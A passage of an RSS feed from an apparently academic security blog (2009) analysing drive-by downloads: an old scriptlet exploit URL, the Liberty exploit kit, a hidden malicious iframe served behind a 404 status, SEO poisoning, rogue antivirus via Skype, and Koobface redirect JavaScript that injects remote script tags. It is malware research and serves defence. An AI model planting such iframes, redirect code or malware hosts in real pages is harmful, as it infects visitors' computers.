controls implemented in HTML and VB script. For the sake of &lt;a href="http://msdn.microsoft.com/en-us/library/ms649488%28VS.85%29.aspx"&gt;historical
completeness&lt;/a&gt;,
scriptlets were introduced in Internet Explorer 4, deprecated in
Internet Explorer 5, and disabled by default in Internet Explorer 7.
Talk about a successful technology...&lt;/p&gt;

&lt;p&gt;After a simple decoding step, the &lt;code&gt;data&lt;/code&gt; attribute of the scriptlet
reveals the content
&lt;code&gt;MK:@MSITStore:mhtml:c:\\.mht!http://http://lixiaoxia.vhost008.cn/logo.jpg
::/102.htm&lt;/code&gt;, which, on a vulnerable system, would cause the malware
&lt;code&gt;logo.gif&lt;/code&gt; to be downloaded on the victim's computer.&lt;/p&gt;

&lt;p&gt;The malware &lt;a href="http://www.virustotal.com/analisis/0a0ca079e35a669122ca5983ebfd83329ded2281c76878c5b6beade645aa92a1-1254489751"&gt;&lt;code&gt;logo.gif&lt;/code&gt; has surprisingly good detection on
VirusTotal&lt;/a&gt;
(34/41!). I wonder if it is also been around since 2004...&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/_JfMgBsst3M" height="1" width="1"/&gt;</description><category>malware</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/old-exploit-still-kicking-cve-2004-0380.html</guid><pubDate>Fri, 09 Oct 2009 00:34:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/old-exploit-still-kicking-cve-2004-0380.html</feedburner:origLink></item><item><title>Liberty exploit toolkit</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/ieFhwPMu8UM/liberty-exploit-toolkit.html</link><description>&lt;p&gt;Here is another exploit toolkit that has been making the rounds
recently: the Liberty exploit pack. Most notably, in mid-September,
Liberty was used in a drive-by-download campaign that injected iframes
pointing at &lt;code&gt;searra-ditol.cn&lt;/code&gt; and &lt;code&gt;embrari-1.cn&lt;/code&gt; into a large number of
vulnerable web sites.&lt;/p&gt;

&lt;p&gt;A couple of pages from the toolkit admin panel:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The browser statistics page:
&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/liberty-browser-stats.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/liberty-browser-stats.png"
 class="figure-centered"
 alt="Liberty toolkit: browser statistics"
 title="Liberty toolkit: browser statistics (click for larger picture)"
 width="500" height="314"/&gt;
&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The referrer statistics page:
&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/liberty-referers.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/liberty-referers.png"
 class="figure-centered"
 alt="Liberty toolkit: referrer statistics"
 title="Liberty toolkit: referrer statistics (click for larger picture)"
 width="500" height="314"/&gt;
&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, you can see the &lt;a href="http://wepawet.cs.ucsb.edu/domain.php?hash=775b2a3d1600a63794ec671879e7ef89&amp;amp;type=js"&gt;Wepawet domain report for
searra-ditol.cn&lt;/a&gt; and for
&lt;a href="http://wepawet.cs.ucsb.edu/domain.php?hash=cf06270493d37bb17b4f229e5d526576&amp;amp;type=js"&gt;embrari-1.cn&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/ieFhwPMu8UM" height="1" width="1"/&gt;</description><category>javascript</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/liberty-exploit-toolkit.html</guid><pubDate>Thu, 08 Oct 2009 09:03:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/liberty-exploit-toolkit.html</feedburner:origLink></item><item><title>JavaScript anti-analysis tricks: 404 status code</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/69XSZOJLUAw/javascript-anti-analysis-tricks-404-status-code.html</link><description>&lt;p&gt;Here is an old trick for foiling manual and automated analysis of malicious
pages that I still see used from time to time. When the malicious page
is requested, the server sends back a 404 ("Not Found") HTTP status
code.  Regularly, this error message indicates that the requested
resource could not be found on the server, and the returned page simply
tries to help the visitor correcting the error. 
However, in the case of malicious pages that use this trick, the body of
the apparently missing page contains code that attempts to exploit some
browser vulnerabilities or to redirects to other malicious web sites.&lt;/p&gt;

&lt;p&gt;The following is an example of a page
(hxxp://yahoo-analytics.net/laso/s.php) that uses this technique:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt; &lt;span class="nx"&gt;Not&lt;/span&gt; &lt;span class="nx"&gt;Found&lt;/span&gt;
&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Tue&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="nx"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;2009&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt; &lt;span class="nx"&gt;GMT&lt;/span&gt;
&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Apache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="nx"&gt;Last&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Modified&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Tue&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt; &lt;span class="nx"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;2009&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt; &lt;span class="nx"&gt;GMT&lt;/span&gt;
&lt;span class="nx"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Ranges&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt;
&lt;span class="nx"&gt;Vary&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Encoding&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Agent&lt;/span&gt;
&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;gzip&lt;/span&gt;
&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;133&lt;/span&gt;
&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;iframe&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://213.163.89.54/lib/index.php&amp;quot;&lt;/span&gt; 
   &lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
   &lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hidden&amp;quot;&lt;/span&gt; 
   &lt;span class="nx"&gt;frameborder&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="nx"&gt;marginheight&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="nx"&gt;marginwidth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
   &lt;span class="nx"&gt;scrolling&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;no&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;iframe&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The headers indicate that the page is missing, but the body contains an
iframe that redirects the browser to a page that launches various browser
exploits. 
Of course, stopping the analysis after observing the 404 error code
would not reveal any wrongdoing. 
A complete analysis instead (see the &lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=f69151533f36f14c4a058bf3aa6441a9&amp;amp;t=1254209311&amp;amp;type=js"&gt;Wepawet report for
hxxp://yahoo-analytics.net/laso/s.php&lt;/a&gt;
for all the details) shows that after the redirection a malicious PDF
and Flash files are delivered to the visitor's browser. &lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/69XSZOJLUAw" height="1" width="1"/&gt;</description><category>javascript</category><category>malware</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/javascript-anti-analysis-tricks-404-status-code.html</guid><pubDate>Sun, 04 Oct 2009 22:24:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/javascript-anti-analysis-tricks-404-status-code.html</feedburner:origLink></item><item><title>SEO to the top</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/k2SbAQzdsqE/seo-to-the-top.html</link><description>&lt;p&gt;A couple of days ago, Stephan Chenette of Websense had a &lt;a href="http://securitylabs.websense.com/content/Blogs/3483.aspx"&gt;nice post out 
on an active SEO
campaign&lt;/a&gt;
(in the following days, Websense has also released &lt;a href="http://securitylabs.websense.com/content/Alerts/3486.aspx"&gt;an
alert&lt;/a&gt; to
discuss how the campaign abuses the launch of Google Wave).&lt;/p&gt;

&lt;p&gt;I am also following this campaign, which seems quite widespread, in
terms of the number of web sites and search terms that are involved.
Unfortunately, the campaign is also successful in pushing some of its
malicious pages high up in the results returned for popular query terms by
Google.&lt;/p&gt;

&lt;p&gt;Here is a case where they even make it to the top spot:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/seo-to-the-top.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/seo-to-the-top.png"
     class="figure-centered"
     alt="Successful SEO for search term 'john dory taste'"
     title="Successful SEO for search term 'john dory taste' (click for larger picture)"
     width="500" height="333"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As explained in Chenette's post, the malicious results (in red in the figure
above) redirect to sites that push rogue AV software.&lt;/p&gt;

&lt;p&gt;No doubt, the taste of that John Dory is going to be quite... sour.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/k2SbAQzdsqE" height="1" width="1"/&gt;</description><category>malware</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/seo-to-the-top.html</guid><pubDate>Fri, 02 Oct 2009 11:52:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/seo-to-the-top.html</feedburner:origLink></item><item><title>Rogue AV...via Skype</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/B_Xy6MdbiS0/rogue-avvia-skype.html</link><description>&lt;p&gt;A new (at least for me) twist on the distribution of rogue AV software.  Skype
user &lt;code&gt;online.notification.america17&lt;/code&gt;, whose full name is, cleverly enough,
Online Notification, sent me a chat (see below) to inform me that the "Security
Center has detected malware on my computer".&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/rogueav-via-skype.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/rogueav-via-skype.png"
     class="figure-centered"
     alt="An unwanted Skype chat pushing rogue AV software"
     title="An unwanted Skype chat pushing rogue AV software (click for larger picture)"
     width="340" height="500"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The URL that is referenced in the message (www.securonline.net) is currently
down, but is listed in several blacklists, for example, &lt;a href="http://hosts-file.net/?s=www.securonline.net"&gt;hpHosts&lt;/a&gt; and &lt;a href="http://www.mywot.com/zh-hans/scorecard/www.securonline.net"&gt;WOT&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/B_Xy6MdbiS0" height="1" width="1"/&gt;</description><category>malware</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/10/rogue-avvia-skype.html</guid><pubDate>Thu, 01 Oct 2009 11:20:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/10/rogue-avvia-skype.html</feedburner:origLink></item><item><title>A gallery of fake koobface pages</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/G06f37i1XRA/a-gallery-of-fake-koobface-pages.html</link><description>&lt;p&gt;Long time, no write... but I thought this could be a good occasion to
start again.&lt;/p&gt;

&lt;p&gt;It looks like the Koobface people have been busy updating their social
engineering tricks. But let's start from the beginning. I was inspecting
fnplbpnbvxqjrey.blogspot.com, a BlogSpot's
blog that Wepawet flagged as suspicious and involved in pushing
Koobface
(see the &lt;a href="http://wepawet.cs.ucsb.edu/view.php?type=js&amp;amp;hash=5451b7ee7ea406a6479da71e42a2d479&amp;amp;t=1254214459"&gt;Wepawet
report for fnplbpnbvxqjrey.blogspot.com&lt;/a&gt;). 
At first sight, the blog appears to be just one of the many BlogSpot pages
involved in this activity.&lt;/p&gt;

&lt;p&gt;However, a closer look at the source code of the page reveals something
interesting. The code responsible for actually redirecting to Koobface
is a fairly recent variant (I have seen it used as early as
2009-09-12). Here is a slightly simplified listing of this code:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;ogxbjeqrihscndvz6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="c"&gt;/* list of server IPs */&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;mzvtonlxsjprcb5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;cvuhxdinmlqjoeft1&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/view&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;?id=&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="nx"&gt;js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/cnet&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="nx"&gt;js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/warn&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;301&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="nx"&gt;js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/scan&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="nx"&gt;js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;onwxklrqhybjvpase3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; 
     &lt;span class="nx"&gt;onwxklrqhybjvpase3&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;ogxbjeqrihscndvz6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; 
     &lt;span class="nx"&gt;onwxklrqhybjvpase3&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;ypcovhrtbmn8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;script&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;ypcovhrtbmn8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;text/javascript&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ypcovhrtbmn8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;ogxbjeqrihscndvz6&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;onwxklrqhybjvpase3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="s1"&gt;&amp;#39;/go&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;.js&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;?0x3&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;E8&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;mzvtonlxsjprcb5&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;js&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;  &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;head&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ypcovhrtbmn8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The script loops over an array that holds the IPs of compromised
machines where visitors of the malicious blog will be redirected to. For
each IP, an HTML &lt;code&gt;script&lt;/code&gt; tag is added to the page. The tag is set to
point to a URL on the compromised IP. Depending on certain conditions,
the path of the URLs will contain one of the following strings: &lt;code&gt;/view&lt;/code&gt;,
&lt;code&gt;/cnet&lt;/code&gt;, &lt;code&gt;/warn&lt;/code&gt;, &lt;code&gt;/scan&lt;/code&gt;.
When the redirection finally is triggered, the victim is presented with a
different page, depending on which of these strings was included
in the URL. &lt;/p&gt;

&lt;p&gt;All the pages attempt to social engineer visitors into downloading and
installing the Koobface malware. Here are screenshots that
show the tricks they use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Classic Facebook fake video page
&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/koobface-video.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/koobface-video.png"
 class="figure-centered"
 alt="A fake Facebook page used to spread the Koobface malware"
 title="A fake Facebook page used to spread the Koobface malware (click for larger picture)"
 width="500" height="333"/&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fake YouTube (actually, YuoTube) page (&lt;code&gt;/view&lt;/code&gt;)
&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/koobface-view.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/koobface-view.png"
 class="figure-centered"
 alt="A fake YouTube page used to spread the Koobface malware"
 title="A fake YouTube page used to spread the Koobface malware (click for larger picture)"
 width="500" height="333"/&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fake CNET page (&lt;code&gt;/cnet&lt;/code&gt;)
&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/koobface-cnet.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/koobface-cnet.png"
 class="figure-centered"
 alt="A fake CNET page used to spread the Koobface malware"
 title="A fake CNET page used to spread the Koobface malware (click for larger picture)"
 width="500" height="333"/&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fake scan page (&lt;code&gt;/scan&lt;/code&gt;)
&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/koobface-scan.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/koobface-scan.png"
 class="figure-centered"
 alt="A fake virus scan page used to spread the Koobface malware"
 title="A fake virus scan page used to spread the Koobface malware (click for larger picture)"
 width="500" height="333"/&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;And, my favorite, the self-referential fake page on Facebook that warns
about the Koobface malware (&lt;code&gt;/warn&lt;/code&gt;):
&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/koobface-warn.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/koobface-warn.png"
 class="figure-centered"
 alt="A fake Facebook page that warns about Koobface used to spread
the Koobface malware"
 title="A fake Facebook page that warns about Koobface used to spread
the Koobface malware (click for larger picture)"
 width="500" height="333"/&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Just a few more aces up Koobface's sleeve...&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/G06f37i1XRA" height="1" width="1"/&gt;</description><category>malware</category><category>javascript</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/09/a-gallery-of-fake-koobface-pages.html</guid><pubDate>Tue, 29 Sep 2009 09:07:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/09/a-gallery-of-fake-koobface-pages.html</feedburner:origLink></item><item><title>JavaScript anti-analysis tricks: IE conditional compilation</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/_oesKfT5uHQ/javascript-anti-analysis-tricks-ie-conditional-c.html</link><description>&lt;p&gt;An anti-analysis/fingerprinting trick I've noticed more and more
frequently in drive-by downloads is the use of IE conditional
compilation. &lt;/p&gt;

&lt;p&gt;&lt;a
href="http://msdn.microsoft.com/en-us/library/ahx1z4fs(VS.80).aspx"&gt;Conditional
compilation&lt;/a&gt; is a feature of Internet Explorer that enables the browser to
control the compilation of a script (that is, to include or exclude code to be
interpreted) depending on the values of a number of conditional compilation
variables. Predefined variables provide information about the client
environment, such as its processor, OS, and JavaScript version. Conditional
compilation statements are typically contained in regular JavaScript comments
to prevent problems with browsers that do not support this feature.&lt;/p&gt;

